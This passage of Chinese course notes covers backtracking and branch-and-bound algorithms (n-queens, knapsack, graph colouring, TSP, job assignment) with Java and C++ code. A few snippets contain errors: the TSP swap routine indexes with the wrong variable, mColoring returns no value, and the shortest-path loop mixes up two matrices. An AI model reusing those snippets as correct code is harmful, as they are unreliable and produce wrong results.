r-=w[i]; //剩余集装箱重量 if(cw+w[i]\u0026lt;=c) //进入左子树，x[i]=1 { cw+=w[i]; Backtrack(i+1); //继续搜索下一层 cw-=w[i]; //退出左子树 } if(cw+r\u0026gt;bestw) //上界函数 //进入右子树，x[i]=0 Backtrack(i+1); r+=w[i]; } 4、构造最优解 # 为构造最优解，需在算法中记录与当前最优值相应的当前最优解。\n在类Loading中增加两个私有数据成员：\nint* x：用于记录从根至当前结点的路径；\nint* bestx：记录当前最优解。\n算法搜索到叶结点处，就修正bestx的值。\npublic class Loading { // 船最大装载问题 private int n;// 集装箱数 private int[] x;// 当前解 private int[] bestx;// 当前最优解 private int[] w;// 集装箱重量数组 private int c;// 第一艘船的载重量 private int cw;// 当前载重量 private int bestw;// 当前最优载重量 private int r;// 剩余集装箱重量 void backTrack(int i)// 搜索第i层结点 { if (i \u0026gt; n) { // 到达叶结点 if (cw \u0026gt; bestw) { for (int j = 1; j \u0026lt;= n; j++) { bestx[j] = x[j]; } bestw = cw; } return; } r -= w[i]; // 剩余集装箱重量 if (cw + w[i] \u0026lt;= c) { // 进入左子树 x[i] = 1; // 装第i个集装箱 cw += w[i]; backTrack(i + 1); // 进入下一层 cw -= w[i]; // 退出左子树 } if (cw + r \u0026gt; bestw) { // 进入右子树 x[i] = 0; // 不装第i个集装箱 backTrack(i + 1); } r += w[i]; } public Loading(int[] w, int c, int n, int[] bestx) { this.w = w; this.c = c; this.n = n; this.bestx = bestx; this.bestw = 0; this.cw = 0; for (int i = 1; i \u0026lt;= n; i++) { this.r += w[i]; } this.x = new int[n + 1]; }// 构造器 public static void main(String[] args) { int n = 5; int c = 10; int w[] = {0, 7, 2, 6, 5, 4};// 下标从1开始 int bestx[] = new int[n + 1]; Loading test = new Loading(w, c, n, bestx); test.backTrack(1); for (int i = 1; i \u0026lt;= n; i++) { System.out.print(bestx[i] + \u0026#34; \u0026#34;); } System.out.println(); System.out.println(test.bestw); return; } } 由于bestx可能被更新O(2n)次，故算法的时间复杂性为O(n2^n)。\n5、迭代回溯(填空即可) # 理解循环遍历的原理。\n由于数组x记录了解空间树中从根到当前扩展结点的路径，利用这些信息，可将上述回溯法表示成非递归的形式。\nn=3, c1=c2=50，且w=[10,40,40]\n//迭代回溯法，返回最优载重量 template\u0026lt;typename Type\u0026gt; Type MaxLoading(Type w[],Type c,int n,int bestx[]) { //初始化根结点 int i=1; int *x=new int[n+1]; Type bestw=0; Type cw=0; Type r=0; for(int j=1;j\u0026lt;=n;j++) r+=w[j]; while(true) //搜索子树 { while(i\u0026lt;=n\u0026amp;\u0026amp;cw+w[i]\u0026lt;=c) //进入左子树，条件为真，则一直往左搜索 { r-=w[i]; cw+=w[i]; x[i]=1; i++; } if(i\u0026gt;n) //到达叶结点 { for(int j=1;j\u0026lt;=n;j++) bestx[j]=x[j]; bestw=cw; } else //进入右子树 { r-=w[i]; x[i]=0; i++; } while(cw+r\u0026lt;=bestw) //剪枝回溯 { i--; while(i\u0026gt;0\u0026amp;\u0026amp;!x[i]) //从右子树返回 { r+=w[i]; i--; } if(i==0) //如返回到根，则结束 { delete[] x; return bestw; } //进入右子树 x[i]=0; cw-=w[i]; i++; } } } 算法的计算时间为O(2^n)。\n5.3 n皇后问题(重点,三个函数都要掌握) # LeetCode:https://leetcode.cn/problems/n-queens/description/\nN皇后本质还是排列的问题。\n详细的解答：https://leetcode.cn/problems/n-queens/solutions/2079586/hui-su-tao-lu-miao-sha-nhuang-hou-shi-pi-mljv/\n1、问题描述 # ​\t在n×n格的棋盘上放置彼此不受攻击的n个皇后。按照国际象棋的规则，皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。n后问题等价于在n×n格的棋盘上放置n个皇后，任何2个皇后不放在同一行或同一列或同一斜线上。\n2、算法设计 # 解向量：(x1,x2,\u0026hellip;,xn)\n用n元组x[1:n]表示n后问题的解，其中x[i]表示皇后i放在棋盘的第i行的第x[i]列。\n显约束：xi=1,2,\u0026hellip;,n（能取值的范围）\n隐约束：（两个皇后之间不能相互攻击）\n不同列：xi≠xj\n不处于同一正反对角线：|i-j|≠|xi-xj|\n回溯法解n后问题时，用完全n叉树表示解空间，用可行性约束Place()剪去不满足行、列和斜线约束的子树。\nBacktrack(i)搜索解空间中第i层子树。\nsum记录当前已找到的可行方案数。\n3、四皇后问题 # 问题描述\n在4 x 4棋盘上放上4个皇后，使皇后彼此不受攻击。不受攻击的条件是彼此不在同行（列）、斜线上。求出全部的放法。\n解表示\n解向量： 4元向量X=(x1,x2,x3,x4)， xi 表示皇后i放在i行上的列号，如(3,1,2,4)\n解空间：｛(x1,x2,x3,x4)｜xi∈S，i=1~4｝S={1,2,3,4}\n可行性约束函数\n显约束：　xi∈S，i=1~4\n隐约束(i ≠ j)：xi ≠ xj (不在同一列)\n​ |i－xi|≠|j－xj|　(不在同一斜线)\n​\t四皇后问题的解空间树是一棵完全4叉树，树的根结点表示搜索的初始状态，从根结点到第2层结点对应皇后1在棋盘中第1行的可能摆放位置，从第2层结点到第3层结点对应皇后2在棋盘中第2行的可能摆放位置，依此类推。\n4、算法实现 # public class nQueen { //n皇后问题 private int n;//皇后个数 private int[] x;//当前解 private long sum;//当前已找到可行方案数 public nQueen(int n){ this.n = n; this.sum = 0; this.x = new int[n+1]; for (int i = 0; i \u0026lt;=n ; i++) { x[i]=0; } this.backTrack(1); } /** * 放置在第k行 * * @param k * @return 是否可行 */ private boolean place(int k) { for (int i = 1; i \u0026lt; k; i++) { //前面有没有可能存在某一行在斜对角上产生冲突的状况 if (Math.abs(k - i) == Math.abs(x[k] - x[i]) || x[i] == x[k]) { // return false; } } return true; } /** * 递归回溯 * @param t */ public void backTrack(int t) { if (t \u0026gt; n) sum++; else for (int i = 1; i \u0026lt;= n; i++) {//[1:n]列 x[t] = i;//放在第i列 if (place(t)) backTrack(t + 1); } } } 优化：\nclass Solution { public List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; solveNQueens(int n) { List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; ans = new ArrayList\u0026lt;\u0026gt;(); int[] queens = new int[n]; // 皇后放在 (r,queens[r]) boolean[] col = new boolean[n]; boolean[] diag1 = new boolean[n * 2 - 1]; boolean[] diag2 = new boolean[n * 2 - 1]; dfs(0, queens, col, diag1, diag2, ans); return ans; } private void dfs(int r, int[] queens, boolean[] col, boolean[] diag1, boolean[] diag2, List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; ans) { int n = col.length; if (r == n) { List\u0026lt;String\u0026gt; board = new ArrayList\u0026lt;\u0026gt;(n); // 预分配空间 for (int c : queens) { char[] row = new char[n]; Arrays.fill(row, \u0026#39;.\u0026#39;); row[c] = \u0026#39;Q\u0026#39;; board.add(new String(row)); } ans.add(board); return; } // 在 (r,c) 放皇后 for (int c = 0; c \u0026lt; n; c++) { int rc = r - c + n - 1; if (!col[c] \u0026amp;\u0026amp; !diag1[r + c] \u0026amp;\u0026amp; !diag2[rc]) { // 判断能否放皇后 queens[r] = c; // 直接覆盖，无需恢复现场 col[c] = diag1[r + c] = diag2[rc] = true; // 皇后占用了 c 列和两条斜线 dfs(r + 1, queens, col, diag1, diag2, ans); col[c] = diag1[r + c] = diag2[rc] = false; // 恢复现场 } } } } 非递归的回溯方法：\n先暂时能看懂就行。\n/** * 非递归回溯 * * @param t */ public void backTrack_o(int t) { x[1] = 0; int k = 1; while (k \u0026gt; 0) { x[k] += 1; //第k行的放到下一列 //x[k]不能放置，则放到下一列，直到可放置 while ((x[k] \u0026lt;= n) \u0026amp;\u0026amp; !place(k)) x[k] += 1; if (x[k] \u0026lt;= n) //放在n列范围内 if (k == n) //已放n行 sum++; else //不足n行 { k++; //放下一行 x[k] = 0; //下一行又从第0列的下列开始试放 } else //第k行无法放置，则重新放置上一行（放到下一列） k--; } } 5.4 0-1背包问题(重点) # 1、算法描述 # 解空间：子集树\n0-1背包问题是子集选取问题，其解空间可用子集树表示。\n​\t可行性约束函数：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝑐1\n​\t上界约束：当右子树中有可能包含最优解时才进入右子树搜索，否则剪去右子树。\n​\t设r是当前剩余物品价值总和，cp是当前价值，bestp是当前最优价值，当cp+r≤bestp时，剪去右子树。\n​\t计算右子树中解的上界更好的方法是将剩余的物品依其单位重量价值排序，然后依次装入物品，直到装不下时，再装入该物品一部分而装满背包，由此得到的价值是右子树中解的上界。——将背包问题作为0-1背包问题的上界。\n2、算法实现 # template\u0026lt;typename Typew,typename Typep\u0026gt; class Knap { friend Typep Knapsack\u0026lt;\u0026gt;(Typep *,Typew *,Typew,int); //\u0026lt;\u0026gt;指明友员函数为模板函数 private: Typep Bound(int i); //计算上界 void Backtrack(int i); Typew c; //背包容量 int n; //物品数 Typew *w; //物品重量数组 Typep *p; //物品价值数组 Typew cw; //当前重量 Typep cp; //当前价值 Typep bestp; //当前最优价值 }; template\u0026lt;typename Typew,typename Typep\u0026gt; void Knap\u0026lt;Typew,Typep\u0026gt;::Backtrack(int i) //回溯 { if(i\u0026gt;n) { bestp=cp; return; } if(cw+w[i]\u0026lt;=c) //进入左子树 { cw+=w[i]; cp+=p[i]; Backtrack(i+1); cw-=w[i]; cp-=p[i]; } if(Bound(i+1)\u0026gt;bestp) //进入右子树 Backtrack(i+1); } template\u0026lt;typename Typew,typename Typep\u0026gt; Typep Knap\u0026lt;Typew,Typep\u0026gt;::Bound(int i) //计算上界 { Typew cleft=c-cw; //剩余的背包容量 Typep b=cp; //b为当前价值 while(i\u0026lt;=n\u0026amp;\u0026amp;w[i]\u0026lt;=cleft) //依次装入单位重量价值高的整个物品 { cleft-=w[i]; b+=p[i]; i++; } if(i\u0026lt;=n) //装入物品的一部分 b+=p[i]*cleft/w[i]; return b; //返回上界 } class Object //物品类 { friend int Knapsack(int *,int *,int,int); public: int operator \u0026lt;(Object a) const { return (d\u0026gt;a.d); } int ID; //物品编号 float d; //单位重量价值 }; template\u0026lt;typename Typew,typename Typep\u0026gt; Typep Knapsack(Typep p[],Typew w[],Typew c,int n) { Typew W=0; //总重量 Typep P=0; //总价值 Object* Q=new Object[n]; //创建物品数组，下标从0开始 for(int i=1;i\u0026lt;=n;i++) //初始物品数组数据 { Q[i-1].ID=i; Q[i-1].d=1.0*p[i]/w[i]; P+=p[i]; W+=w[i]; } if(W\u0026lt;=c) //能装入所有物品 return P; QuickSort(Q,0,n-1); //依物品单位重量价值非增排序 Knap\u0026lt;Typew,Typep\u0026gt; K; K.p=new Typep[n+1]; K.w=new Typew[n+1]; for(int i=1;i\u0026lt;=n;i++) { K.p[i]=p[Q[i-1].ID]; K.w[i]=w[Q[i-1].ID]; } K.cp=0; K.cw=0; K.c=c; K.n=n; K.bestp=0; K.Backtrack(1); delete[] Q; delete[] K.w; delete[] K.p; return K.bestp; } ​\t计算上界需要O(n)时间，最坏情况下有𝑂(2𝑛)个右儿子结点需要计算上界，故算法所需要的时间为𝑂(𝑛2𝑛)\n5.5 图的m着色问题 # 比较简单，主要就写一个判定函数检查颜色是否可用。\n1、问题描述 # ​\t给定无向连通图G和m种不同的颜色。用这些颜色为图G的各顶点着色，每个顶点着一种颜色。是否有一种着色法使G中每条边的2个顶点着不同颜色。\n​\t这个问题是图的m可着色判定问题。若一个图最少需要m种颜色才能使图中每条边连接的2个顶点着不同颜色，则称这个数m为该图的色数。求一个图的色数m的问题称为图的m可着色优化问题。\n2、算法设计 # 用图的邻接矩阵a表示无向连通图G。\n解向量：(x1, x2, … , xn)表示顶点i所着颜色x[i]\n可行性约束函数：顶点i与已着色的相邻顶点颜色不重复。\n注意解空间树的画法。\nclass Color { friend int mColoring(int,int,int **); private: bool OK(int k); //检查颜色是否可用 void Backtrack(int t); int n; //图的顶点数 int m; //可用颜色数 int **a; //图的邻接矩阵 int *x; //当前解 long sum; //当前已找到的可m着色方案数 }; bool Color::OK(int k) //检查顶点k颜色是否可用 { for(int j=1;j\u0026lt;=n;j++){ if((a[k][j]==1)\u0026amp;\u0026amp;(x[j]==x[k])) //有边相连且两顶点颜色相同 return false; } return true; } void Color::Backtrack(int t) { if(t\u0026gt;n) { sum++; for(int i=1;i\u0026lt;=n;i++) cout\u0026lt;\u0026lt;x[i]\u0026lt;\u0026lt;\u0026#39; \u0026#39;; cout\u0026lt;\u0026lt;endl; } else for(int i=1;i\u0026lt;=m;i++) //m种颜色 { x[t]=i; //顶点t使用颜色i if(OK(t)) Backtrack(t+1); x[t]=0; //恢复x[t]的初值 } } int mColoring(int n,int m,int **a) { Color X; //初始化X X.n=n; X.m=m; X.a=a; X.sum=0; int *p=new int[n+1]; for(int i=0;i\u0026lt;=n;i++) p[i]=0; X.x=p; X.Backtrack(1); delete[] p; return } 3、算法效率 # 时间耗费𝑂(𝑛𝑚𝑛)\n判断下图是否是3可着色\n尝试着画一下。\n5.6 TSP问题（旅行售货员问题）【一级重点】 # 本问题相当重要，务必吃透。\n1、算法描述 # 已给一个n个点的完全图，每条边都有一个长度，求总长度最短的经过每个顶点正好一次的封闭回路\n因为每两个节点之间都是可达的，那么就是一个排列树。\n解空间：排列树\n开始时x=[1,2,\u0026hellip;,n]，则相应的排列树由x[1:n]的所有排列构成。\n2、递归算法 # ​\t当i=n时，当前扩展结点是排列树的叶结点的父结点，此时检查图G是否存在一条从顶点x[n-1]到顶点x[n]的边和一条从顶点x[n]到顶点1的边，如果两条边都存在，则找到一条回路。再判断此回路的费用是否优于当前最优回路的费用，是则更新当前最优值和最优解。\n​\t当i\u0026lt;n时，当前扩展结点位于排列树的第i-1层。图G中存在从顶点x[i-1]到x[i]的边时，检查x[1:i]的费用是否小于当前最优值，是则进入排列树的第i层，否则剪去相应子树。\n3、算法实现 # public class TSP { /** * 已给一个n个点的[完全图])，每条边都有一个长度， * 求总长度最短的经过每个顶点正好一次的封闭回路 */ private int n;//图的顶点数 private int[] x;//当前解 private int[] bestx;//当前最优解 private int[][] a;//邻接矩阵 private int cc;//当前费用 private int bestc;//当前最优值 private static final int NO_EDGE = Integer.MAX_VALUE;//无边标记 public TSP(int[][] a, int[] v, int n) { this.a = a; this.n = n; this.bestx = v; this.x = new int[n + 1]; this.bestc=NO_EDGE; this.cc = 0; this.backTrack(2); } public void backTrack(int i) { // 什么时候收获结果？ if (i == n) { //当i=n时，当前扩展结点是排列树的叶结点的父结点，此时检查图G是否存在一条从 // 顶点x[n-1]到顶点x[n]的边和一条从顶点x[n]到顶点1的边，如果两条边都存在， // 则找到一条回路。再判断此回路的费用是否优于当前最优回路的费用，是则更新当前最优值和最优解。 if (a[x[n - 1]][x[n]] != NO_EDGE \u0026amp;\u0026amp; a[x[n]][1] != NO_EDGE \u0026amp;\u0026amp; (cc + a[x[n - 1]][x[n]] + a[x[n]][1] \u0026lt; bestc || bestc == NO_EDGE)) { for (int j = 1; j \u0026lt;= n; j++) { bestx[j] = x[j]; } bestc = cc + a[x[n - 1]][x[n]] + a[x[n]][1]; } } else { //当i\u0026lt;n时，当前扩展结点位于排列树的第i-1层。图G中存在从顶点x[i-1]到x[i]的边时， // 检查x[1:i]的费用是否小于当前最优值，是则进入排列树的第i层，否则剪去相应子树。 // 1.自己到自己节点在邻接矩阵中设置为无穷，肯定不会直接回去 // 2.也相当于是一种限制条件 for (int j = i; j \u0026lt;= n; j++) { if (a[x[i - 1]][x[j]] != NO_EDGE \u0026amp;\u0026amp; (cc + a[x[i - 1]][x[j]] \u0026lt; bestc || bestc == NO_EDGE)) { // 注意这里要先交换，i之前的就是我们选择走的路径，i之后的是我们没走过的路径。 swap(x,i,j); cc += a[x[i - 1]][x[i]]; backTrack(i + 1); cc -= a[x[i - 1]][x[i]]; swap(x,i,j); } } } } private void swap(int[]a, int x, int y) { int temp = a[x]; a[x] = a[y]; a[y] = a[temp]; } } 4、算法效率 # 这是排列树，就是O(n!)\n​\t算法backtrack在最坏情况下可能需要更新当前最优解O((n-1)!)次，每次更新bestx需计算时间O(n)，从而整个算法的计算时间复杂性为O(n!)。\n5.7 最大团问题 # 最大团问题 给定无向图G=(V，E)。如果UV，且对任意u，vU有 (u，v)E，则称U是G的完全子图。例如{1,2}。 G的完全子图U是G的团当且仅当U不包含在G的更大的完全 子图中，例如{1,2,5}。 G的最大团是指G中所含顶点数最多的团。\n找出一个图的最大团： 可看做图G的顶点集V的子集选取问题。 • 解空间：子集树 • 可行性约束函数：顶点i到已选入顶点集中的每一个顶点都有边相连。 •上界函数：有足够多的可选择顶点使得算法有可能在右子树中找到更大的团。\n代码：\nx[]保存了团内的节点。\na [ i ] [ j ] 是boolean数组，表示其中的两个点有没有相连接。\n​\t每到一个新的节点，遍历检查这个节点有没有和现存的团中的每一个节点相连接，连接了我们就要了这个节点，否则不要。\n6.分支限界法 # 注意这里的基本概念要点。\n6.1 分支限界法的基本思想 # 分支限界法和回溯法 # 区别是考试的重点。\n​\t求解目标：回溯法的求解目标是找出解空间树中满足约束条件的所有解，而分支限界法的求解目标则是找出满足约束条件的一个解，或是在满足约束条件的解中找出在某种意义下的最优解。\n​\t搜索方式的不同：回溯法以深度优先的方式搜索解空间树，而分支限界法则以广度优先或以最小耗费优先的方式搜索解空间树。\n仅从方式来看，这类似于层序遍历的过程。\n​\t在分支限界法中，每一个活结点只有一次机会成为扩展结点。活结点一旦成为扩展结点，就一次性产生其所有儿子结点。在这些儿子结点中，导致不可行解或导致非最优解的儿子结点被舍弃，其余儿子结点被加入活结点表中。此后，从活结点表中取下一结点成为当前扩展结点，并重复上述结点扩展过程。这个过程一直持续到找到所需的解或活结点表为空时为止。\n选择下一个E结点的方法如下：\n1）先进先出(FIFO)：从活结点表中取出结点的顺序与加入结点的顺序相同。\n​\t后进先出(LIFO)：从活结点表中取出结点的顺序与加入结点的顺序相反。\n2）优先队列式分支限界法\n​\t按照优先队列中规定的优先级选取优先级最高的节点成为当前扩展节点。\n​\t（就是Dijkstra的堆优化算法）\n基本思想 # 1️⃣ 在 e_结点估算沿着它的各儿子结点搜索时，目标函数可能取得的“界”，\n2️⃣ 把儿子结点和目标函数可能取得的“界”，保存在优先队列或堆中，\n3️⃣ 从队列或堆中选取“界”最大或最小的结点向下搜索，直到叶子结点，\n4️⃣ 若叶子结点的目标函数的值，是结点表中的最大值或最小值，则沿叶子结点到根结点的路径所确定的解，就是问题的最优解，否则转 3 继续搜索\n示例 # 0-1背包问题\n考虑实例n=4，w=[3,5,2,1]，v=[9,10,7,4]，C=7。\n定义问题的解空间\n该实例的解空间为（x1,x2,x3,x4），xi=0或1(i=1,2,3,4)。\n确定问题的解空间组织结构\n该实例的解空间是一棵子集树，深度为4。\n搜索解空间\n约束条件\n限界条件 cp+rp\u0026gt;bestp\n队列式分支限界法 # cp初始值为0；rp初始值为所有物品的价值之和；bestp表示当前最优解，初始值为0。\n当cp\u0026gt;bestp时，更新bestp为cp。\n理解下面的图：这样的过程就是类似于层序遍历生成一颗树。\n优先队列式 # ​\t优先级：活结点代表的部分解所描述的装入背包的物品价值上界，该价值上界越大，优先级越高。活结点的价值上界up=cp+rp。\n约束条件：同队列式\n限界条件：up=cp+r‘p\u0026gt;bestp。\nrp 剩余物品装满背包的价值\n优先去装原来价值就更大的背包。\n6.2 单源最短路径问题 # 问题描述 # 在下图所给的有向图G中，每一边都有一个非负边权。要求图G的从源顶点s到目标顶点t之间的最短路径。\n下图是用优先队列式分支限界法解有向图G的单源最短路径问题产生的解空间树。其中，每一个结点旁边的数字表示该结点所对应的当前路长。\n算法思想 # ​\t解单源最短路径问题的优先队列式分支限界法用一极小堆来存储活结点表。其优先级是结点所对应的当前路长。\n​\t算法从图G的源顶点s和空优先队列开始。结点s被扩展后，它的儿子结点被依次插入堆中。此后，算法从堆中取出具有最小当前路长的结点作为当前扩展结点，并依次检查与当前扩展结点相邻的所有顶点。\n​\t如果从当前扩展结点i到顶点j有边可达，且从源出发，途经顶点i再到顶点j的所相应的路径的长度小于当前最优路径长度，则将该顶点作为活结点插入到活结点优先队列中。这个结点的扩展过程一直继续到活结点优先队列为空时为止。\n实例说明 # 算法设计 # static float[][]a //图G的邻接矩阵 static float []dist //源到各顶点的距离 static int []p //源到各顶点的路径上的前驱顶点 HeapNode //最小堆元素 { int i; //顶点编号 float length;//当前路长 …… } //1.先进行一个while(true)的循环。 while (true) {//搜索问题的解空间 //2.取堆的最上面的节点出来并且对于每个点都进行一次遍历和更新。 for (int j = 1; j \u0026lt;= n; j++) //3.如果满足条件的话就更改值并且加入优先队列。 if ((a[enode.i][j]\u0026lt;Float.MAX_VALUE)\u0026amp;\u0026amp; (enode.length+a[enode.i][j]\u0026lt;dist[j])) {//顶点i和j间有边，且此路径长小于原先从原点到j的路径长 // 顶点i到顶点j可达，且满足控制约束 dist[j]= enode.length+c[enode.i][j]; p [j]= enode.i; // 加入活结点优先队列 HeapNode node=new HeapNode(j,dist[j]); heap.put(node); } // 取下一扩展结点 if ( heap.isEmpty( ) ) break; else enode=(HeapNode)heap.removeMin(); } } 6.3 0-1背包问题[重点] # 解答参考https://www.it610.com/article/1296236014334976000.htm\n问题描述 # 给定n种物品和一个背包。物品i的重量是wi，其价值为vi，背包的容量为c。 应如何选择装入背包的物品，使得装入背包中物品的总价值最大? 在选择装入背包的物品时，对每种物品i只有2种选择，即装入背包或不装入背包。不能将物品i装入背包多次，也不能只装入部分的物品i。 算法的思想 # 首先，要对输入数据进行预处理，将各物品依其单位重量价值从大到小进行排列。 在实现时，由Bound计算当前结点处的上界。在解空间树的当前扩展结点处，仅当要进入右子树时才计算右子树的上界Bound，以判断是否将右子树剪。进入左子树时不需要计算上界，因为其上界与其父节点上界相同。 在优先队列分支限界法中，结点的优先级定义为：以结点的价值上界作为优先级（由bound函数计算出） 步骤 # 就是使用队列的同时还加上了附加条件。\n算法首先根据基于可行结点相应的子树最大价值上界优先级，从堆中选择一个节点（根节点）作为当前可扩展结点。 检查当前扩展结点的左儿子结点的可行性。 如果左儿子结点是可行结点，则将它加入到子集树和活结点优先队列中。 当前扩展结点的右儿子结点一定是可行结点，仅当右儿子结点满足上界函数约束时,才将它加入子集树和活结点优先队列。 当扩展到叶节点时，算法结束，叶子节点对应的解即为问题的最优值。 样例 # 假设有4个物品，其重量分别为(4, 7, 5, 3)，价值分别为(40, 42, 25, 12)，背包容量W=10。将给定物品按单位重量价值从大到小排序，结果如下：\n物品 重量(w) 价值(v) 价值/重量(v/w) 1 4 40 10 2 7 42 6 3 5 25 5 4 3 12 4 上界计算 先装入物品1，剩余的背包容量为6，只能装入物品2的6/7(即42*(6/7)=36)。 即上界为40+6*6=76\n已第一个up为例:40+6*(10-4)=76 打x的部分因为up值已经小于等于bestp了，所以没必要继续递归了。\n核心代码 # Typew c： 背包容量 C： 背包容量 Typew *w： 物品重量数组 Typew *p： 物品价值数组 Typew cw：当前重量 Typew cp：当前价值 Typep bestcp：当前最优价值 上界函数 # 这和贪心算法有什么区别？\ntemplate\u0026lt;class Typew, class Typep\u0026gt; Typep Knap\u0026lt;Typew, Typep\u0026gt;::Bound(int i) {// 计算上界 Typew cleft = c - cw; // 剩余容量 Typep b = cp; // 以剩余物品单位重量价值递减序装入物品 while (i \u0026lt;= n \u0026amp;\u0026amp; w[i] \u0026lt;= cleft) { cleft -= w[i]; b += p[i]; i++; } // 装满背包 if (i \u0026lt;= n) b += p[i]/w[i] * cleft; return b; } 结点定义 # static class Bbnode{ BBnode parent; //父结点 boolean leftChild; //左儿子结点标志 …} static class HeapNode implements Comparable{ BBnode liveNode; //活结点 double upperProfit; //结点的价值上界 double profit; //结点所相应的价值 double weight; //结点所相应的重量 int level; //活结点在子集树中所处的层序号 } 0-1背包问题优先队列分支限界搜索算法 # 6.4 作业分配问题【重点,没看懂】 # 详情参考https://blog.csdn.net/qq_40801709/article/details/90439784\n1、问题描述 # ​\tn 个操作员以 n 种不同时间完成 n 种不同作业。要求分配每位操作员完成一项工作，使完成 n 项工作的总时间最少操作员编号为 0,1,…n-1，作业也编号为 0,1,…n-1， 矩阵 c 描述每位操作员完成每个作业时所需的时间，元素 ci,j 表示第 i 位操作员完成第 j 号作业所需的时间 向量 x 描述分配给操作员的作业编号，分量 xi 表示分配给第 i 位操作员的作业编号。\n2、思想方法 # 1）从根结点开始，每遇到一个扩展结点，就对它的所有儿子结点计算其下界，把它们登记在结点表中。\n2）从表中选取下界最小的结点，重复上述过程。\n3）当搜索到一个叶子结点时，如果该结点的下界是结点表中最小的，那么，该结点就是问题的最优解。\n4）否则，对下界最小的结点继续进行扩展\n3、下界的确认 # 搜索深度为 0 时，把第 0 号作业分配给第 i 位操作员所需时间至少为第 i 位操作员完成第 0 号作业所需时间，加上其余 n-1个作业分别由其余 n-1 位操作员单独完成时所需最短时间之和，有： 例：4个操作员完成4个作业所需的时间表如下：\n​\t把第 0 号作业分配给第 0 位操作员时，所需时间至少不小于 3 + 7 + 6 + 3 = 19 ，把0号作业1 位操作员时，所需 时间至少不会小于9+7+4+3…\n​\t搜索深度为 k 时，前面第0,1,\u0026hellip;\u0026hellip;,k-1号作业已分别分配 给编号为i0,i1,\u0026hellip;\u0026hellip;,ik-1的操作员。 S={0,1,\u0026hellip;\u0026hellip;,n-1}表示所有操作员的编号集合；\nmk-1={i0,i1,\u0026hellip;\u0026hellip;ik-1}表示作业已分配的操作员编号集合。当把第k号作业分配给编号为ik的操作员时，𝑖𝑘∈𝑆−𝑚𝑘−1， 所需时间至少为：\n​ 则上式为把第k号作业分配给编号为ik的操作员时的下界\n4、算法实现步骤 # 5、实现代码 # #include\u0026lt;iostream\u0026gt; using namespace std; #define MAX_NUM 99999 const int n = 4; float c[n][n];//n个操作员分别完成n项作业所需时间 float bound = MAX_NUM;//当前已搜索可行解的最优时间 struct ass_node { int x[n];//分配给操作员的作业 int k;//搜索深度 float t;//当前搜索深度下，已分配作业所需时间 float b;//本节点所需的时间下界 struct ass_node* next;//优先队列链指针 }; typedef struct ass_node* ASS_NODE; //把xnode所指向的节点按所需时间下界插入优先队列qbase中，下界越小，优先性越高 void Q_insert(ASS_NODE qbase, ASS_NODE xnode) { ASS_NODE temp = qbase-\u0026gt;next; ASS_NODE temp2 = qbase; while (temp != NULL) { if (xnode-\u0026gt;b \u0026lt; temp-\u0026gt;b) { break; } temp2 = temp; temp = temp-\u0026gt;next; } xnode-\u0026gt;next = temp2-\u0026gt;next; temp2-\u0026gt;next = xnode; } //取下并返回优先队列qbase的首元素 ASS_NODE Q_delete(ASS_NODE qbase) { //ASS_NODE temp = qbase; ASS_NODE rt = new ass_node;//只是一个node if (qbase-\u0026gt;next != NULL) *rt = *qbase-\u0026gt;next; else rt = NULL; qbase-\u0026gt;next = qbase-\u0026gt;next-\u0026gt;next; return rt; } //分支限界法实现 float job_assigned(float (*c)[n], int n, int* job) { int i, j, m; ASS_NODE xnode,ynode=NULL; ASS_NODE qbase = new ass_node; qbase-\u0026gt;next = NULL; qbase-\u0026gt;b = 0;//空头节点 float min, bound = MAX_NUM; xnode = new ass_node; for (i = 0;i \u0026lt; n;i++) xnode-\u0026gt;x[i] = -1;//-1表示尚未分配 xnode-\u0026gt;t = xnode-\u0026gt;b = 0; xnode-\u0026gt;k = 0; //非叶子节点，继续向下搜索 while (xnode-\u0026gt;k != n) { //对n个操作员分别判断处理 for (i = 0;i \u0026lt; n;i++) { if (xnode-\u0026gt;x[i] == -1) {//i操作员未分配工作 ynode = new ass_node;//为i操作员建立一个节点 *ynode = *xnode;//把父节点数据复制给它 ynode-\u0026gt;x[i] = ynode-\u0026gt;k;//作业k分配给操作员i ynode-\u0026gt;t += c[i][ynode-\u0026gt;k];//已分配作业累计时间 ynode-\u0026gt;b = ynode-\u0026gt;t; ynode-\u0026gt;k++;//该节点下一次搜索深度 ynode-\u0026gt;next = NULL; for (j = ynode-\u0026gt;k;j \u0026lt; n;j++) {//未分配作业最小时间估计 min = MAX_NUM; for (m = 0;m \u0026lt; n;m++) { if ((ynode-\u0026gt;x[m] == -1) \u0026amp;\u0026amp; c[m][j] \u0026lt; min) min = c[m][j]; } ynode-\u0026gt;b += min;//本节点所需时间下界 } if (ynode-\u0026gt;b \u0026lt; bound) { Q_insert(qbase, ynode);//把节点插入优先队列 if (ynode-\u0026gt;k == n)//得到一个可行解 bound = ynode-\u0026gt;b;//更新可行解的最优下界 } else delete ynode;//大于可行解最优下界 } } delete xnode;//释放节点xnode的缓冲区 xnode = Q_delete(qbase);//取下队列首元素xnode } min = xnode-\u0026gt;b; for (i = 0;i \u0026lt; n;i++)//保存最优方案 job[i] = xnode-\u0026gt;x[i]; while (qbase-\u0026gt;next) { xnode = Q_delete(qbase); delete xnode; } return min; } int main() { c[0][0] = 3;c[0][1] = 8;c[0][2] = 4;c[0][3] = 12; c[1][0] = 9;c[1][1] = 12;c[1][2] = 13;c[1][3] = 5; c[2][0] = 8;c[2][1] = 7;c[2][2] = 9;c[2][3] = 3; c[3][0] = 12;c[3][1] = 7;c[3][2] = 6;c[3][3] = 8; int* job = new int[n]; for (int i = 0;i \u0026lt; n;i++) job[i] = -1; float result = job_assigned(c, n, job); for (int i = 0;i \u0026lt; n;i++) cout \u0026lt;\u0026lt; job[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; result \u0026lt;\u0026lt; endl; system(\u0026#34;pause\u0026#34;); return 0; } 近似算法 # 顶点覆盖问题的近似算法 # VertexSet approxVertexCover ( Graph g ){ cset= 空集 e1=g.e; while (e1 != null) 从e1中任取一条边(u,v)； cset=cset∪{u,v}； 从e1中删去与u和v相关联的所有边； return cset; } 过程：\n到C的位置的时候，e1中已经没有边了，循环结束。\n比较简单的证明，性能比\u0026lt;=2。\n◼每条边扫描一次，时间复杂度为O(|E|) ◼Ratio Bound为2。证明如下： 